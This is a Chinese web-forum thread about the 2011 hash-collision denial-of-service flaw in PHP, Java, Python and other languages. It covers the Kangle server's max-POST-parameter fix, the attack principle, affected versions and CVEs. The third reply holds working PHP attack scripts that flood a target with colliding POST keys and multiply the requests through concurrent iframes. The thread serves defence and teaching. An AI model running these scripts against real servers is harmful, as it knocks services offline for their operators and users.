友声网

 找回密码
 立即注册
搜索
开启左侧

[安全] Kangle 应对“hash碰撞漏洞”方法[设置最大POST数据]

[复制链接]
卡卡北 发表于 2018-12-27 22:51 | 显示全部楼层 |阅读模式
通过PHP的hash冲突漏洞进行DDoS攻击的解决办法
最近各语言爆hash碰撞漏洞。它存在于各种流行的网络编程语言中,包括JAVA,PHP,Ruby和Apache。Microsoft的.net也受影响。

hash碰撞原理:见二楼
php攻击例子:见三楼
声明:让大家测试,只为研究、学习、预防,请勿用于非法行为!

比CC攻击,厉害很多。

针对hash冲突这个漏洞,kangle技术团队已研发出解决办法

kangle 自2.7.5开始新增一个最大post参数,轻松防住hash冲突这个漏洞。

进入kangle管理后台3311设置。
点左边 配置==>数据交换,出现如下界面。如图:


最多POST参数,这里为了测试只写2,一般建议输入500,即可。
使用本功能,一定要打开使用临时文件.
否则无效.

效果图:

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
 楼主| 卡卡北 发表于 2018-12-27 22:52 | 显示全部楼层

通过构造Hash冲突实现各种语言的拒绝服务攻击

在PHP5.4发布在即的时候, 引入了一个新的配置项:
  1. Added max_input_vars directive to prevent attacks based on hash collisions
复制代码

这个预防的攻击, 就是”通过调用Hash冲突实现各种语言的拒绝服务攻击漏洞”(multiple implementations denial-of-service via hash algorithm collision).
攻击的原理很简单, 目前很多语言, 使用hash来存储k-v数据, 包括常用的来自用户的POST数据, 攻击者可以通过构造请求头, 并伴随POST大量的特殊的”k”值(根据每个语言的Hash算法不同而定制), 使得语言底层保存POST数据的Hash表因为”冲突”(碰撞)而退化成链表.

这样一来, 如果数据量足够大, 那么就可以使得语言在计算, 查找, 插入的时候, 造成大量的CPU占用, 从而实现拒绝服务攻击.
PHP5.4是通过增加一个限制来尽量避免被此类攻击影响:

  1. - max_input_vars - specifies how many GET/POST/COOKIE input variables may be
  2. accepted. default value 1000.
复制代码

目前已知的受影响的语言以及版本有::
Java, 所有版本
JRuby <= 1.6.5
PHP <= 5.3.8, <= 5.4.0RC3
Python, 所有版本
Rubinius, 所有版本
Ruby <= 1.8.7-p356
Apache Geronimo, 所有版本
Apache Tomcat <= 5.5.34, <= 6.0.34, <= 7.0.22
Oracle Glassfish <= 3.1.1
Jetty, 所有版本
Plone, 所有版本
Rack, 所有版本
V8 JavaScript Engine, 所有版本
不受此影响的语言或者修复版本的语言有::
PHP >= 5.3.9, >= 5.4.0RC4
JRuby >= 1.6.5.1
Ruby >= 1.8.7-p357, 1.9.x
Apache Tomcat >= 5.5.35, >= 6.0.35, >= 7.0.23
Oracle Glassfish, N/A (Oracle reports that the issue is fixed in the main codeline and scheduled for a future CPU)
CVE: CVE-2011-4885 (PHP), CVE-2011-4461 (Jetty), CVE-2011-4838 (JRuby),CVE-2011-4462 (Plone), CVE-2011-4815 (Ruby)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
 楼主| 卡卡北 发表于 2018-12-27 22:52 | 显示全部楼层

通过PHP的hash冲突漏洞进行DDoS攻击

上回咱说到了最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。

不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php
  1. // 目标地址
  2. // 只要目标地址存在,不用管它是干嘛的
  3. $host = 'http://127.0.0.1/test.php';
  4. $data = '';
  5. $size = pow(2, 15);
  6. for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
  7. {
  8.     $data .= '&array[' . $key . ']=0';
  9. }
  10. $ret = curl($host, ltrim($data,'&'));
  11. var_dump($ret);

  12. function curl($url, $post, $timeout = 30){
  13.     $ch = curl_init();
  14.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  15.     curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
  16.     curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  17.     curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));  
  18.     curl_setopt($ch, CURLOPT_URL, $url);
  19.     curl_setopt($ch, CURLOPT_POST, true);
  20.     curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  21.     $output = curl_exec($ch);
  22.     if ($output === false) return false;
  23.     $info = curl_getinfo($ch);
  24.     $http_code = $info['http_code'];
  25.     if ($http_code == 404) return false;
  26.     curl_close($ch);
  27.     return $output;
  28. }
复制代码


文件:ddos.php
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
  5. <title>DDOS</title>
  6. </head>
  7. <body>
  8. <?php
  9. for($i=0; $i<5; $i++){//并发数
  10.     echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>';
  11. }
  12. ?>
  13. </body>
  14. </html>
复制代码

虽然测试目标服务器是台虚拟机,但仅用了2个并发就使目标机CPU飙到了100%。但是100%的CPU占用并不代表着就已经拒绝服务。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|RSS|联系|友声网 ( 鲁ICP备15020090号 ) 知道创宇云安全

GMT+8, 2019-2-22 20:18 , Processed in 0.074214 second(s), 18 queries , MemCache On.

Powered by Discuz! X

©2019 Comsenz Inc.

快速回复 返回顶部 返回列表